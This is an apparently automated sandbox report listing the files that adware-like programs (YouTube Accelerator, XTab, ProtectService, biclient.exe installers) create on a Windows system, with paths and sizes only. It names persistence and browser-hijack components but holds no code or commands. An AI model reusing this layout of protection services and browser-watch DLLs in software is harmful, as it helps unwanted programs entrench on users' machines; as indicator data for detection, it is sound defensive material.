C:\ProgramData\TEMP:56E2E879 (240 bytes)

The process YouTubeAcceleratorService.exe:3888 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process ProtectService.exe:2232 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (876 bytes)

The process ProtectService.exe:4264 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)

The process XTab_Setup2121.exe:2676 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso4E8D.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (17941 bytes)
%Program Files% (x86)\XTab\conf (1594 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1794 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\ver.txt (47 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1685 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (21280 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5468 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1028.xpi (15 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (15946 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (16990 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process YouTubeAccelerator.exe:3632 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk6F8B.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk7105.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75CE.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75AB.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk6D92.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3492_YouTubeAcceleratorService.log_tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk6EEB.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk7155.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3492.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk6F6A.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75E2.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (228898 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_4188_testlsp.log_tmp (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk7103.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75F3.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_4188_testlsp.log_tmp (999 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_4188.log_tmp (825 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75BC.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_4188_testlsp.log_tmp (151 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75F5.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3632.log_tmp (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\wbk75E0.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3632.log (74572 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\SMALLTEST[1].htm (70 bytes)

The process jsdrv.exe:3080 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\KRUV1BAD.txt (136 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)

The process wpm_v20.0.0.1953_0302.exe:3844 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3568 bytes)

The process biclient.exe:1708 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7J857VST.txt (683 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.6 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\JUZFB3A3.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe (9472 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1WQV6GBV.txt (684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-webprotectorplus[1].htm (1819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\7zip_32[1].png (145 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp (33480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\P3TAMTDI.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ZT3PD4IN.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\WUWBPP0R.txt (544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\21BDZJIW.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\PW17UU6D.txt (683 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\F59HKWZS.txt (284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ITOFDEYE.txt (685 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-youtubeaccelerator[1].htm (2713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\TWGPRIJ4.txt (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.4 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.5 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\607d1371d8f3494f867a2b514a49c4e9[1].htm (35497 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.7 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.0 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.1 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.2 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.3 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe (49444 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IA0NOT4T.txt (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Z9PC1XSR.txt (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\ga[1].js (25835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_sprite_full[1].png (1360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HVVJOBVK.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-istartsurf[1].htm (1059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\V0SBY954.txt (684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-swiftrecord[1].htm (4337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)

The process biclient.exe:2772 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-webprotectorplus[1].htm (1805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\V2M9QY4Y.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\FEZ6A0KP.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MGATS43O.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe (9472 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\4KQRCUC5.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\KBAOOU3J.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp (33480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UUV29XFX.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\DX5EK8U0.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\8FK33C4A.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IF4A51WH.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\I79KZODX.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.4 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.5 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.6 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-istartsurf[1].htm (1059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.0 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.1 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.2 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.3 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe (49444 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SS0OAS0G.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QVN95R7S.txt (612 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SB46TUTF.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\X9XCNT4F.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\T28PHOSD.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ELYVEDM3.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UXQBOQP6.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\b09e9cabd4f5904a8751fabb44d764c3[1].htm (34926 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.7 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\27LLJJY7.txt (326 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GQVYH9PQ.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UW12NFOL.txt (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\NQTMJQMC.txt (780 bytes)

The process biclient.exe:504 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\6f9bf9cef49cde4880978c5eccca4dc0[1].htm (32948 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\0TDM0CX4.txt (780 bytes)
